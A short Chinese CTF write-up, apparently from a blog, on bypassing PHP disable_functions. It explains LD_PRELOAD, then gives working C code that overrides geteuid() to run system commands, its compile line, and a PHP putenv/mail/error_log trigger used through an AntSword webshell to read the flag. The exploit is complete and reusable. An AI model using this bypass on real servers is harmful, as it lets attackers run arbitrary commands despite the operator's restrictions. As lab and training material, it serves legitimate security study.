LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。
putenv()用来改变或增加环境变量的内容. 参数string 的格式为name=value, 如果该环境变量原先存在, 则变量内容会依参数string 改变, 否则此参数内容会成为新的环境变量.
?剑蚁获得目标的webshell,但是一些命令被PHP的disable_function禁用了。没有权限查看flag文件。

编写动态链接库,geteuid函数在调用mail或者error_log时被触发。然后触发payload函数
??????#include<stdlib.h>
#include <stdio.h>
#include<string.h>
void payload(){
system("cat /flag > /tmp/feng.txt");
}
int geteuid(){
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
?然后编译
gcc -shared -fPIC text.c -o text.so
将text.so文件上传到/tmp下

然后,用LD_PRELOAD来链接这个库。我们在/var/www/html下新建一个preload.php文件
#Halo AntSword!
<?php
putenv("LD_PRELOAD=/tmp/text.so");
mail("","","","");
?>
发现并没有生成成功,我们使用error_log("",1,"","");调用动态库

然后通过ant=include('preload.php')或者/preload.php
?

?打开发现里面是空的,应该cat命令被禁用了。
多试试几种命令
发现tac /flag > feng.txt或者 使用题目中给的/readflag /flag >feng.txt?
修改过后,重新上传到剑蚁,最终拿到flag值
?
?参考:CTFHub Bypass disable_function系列(已完结)_feng的博客-CSDN博客
|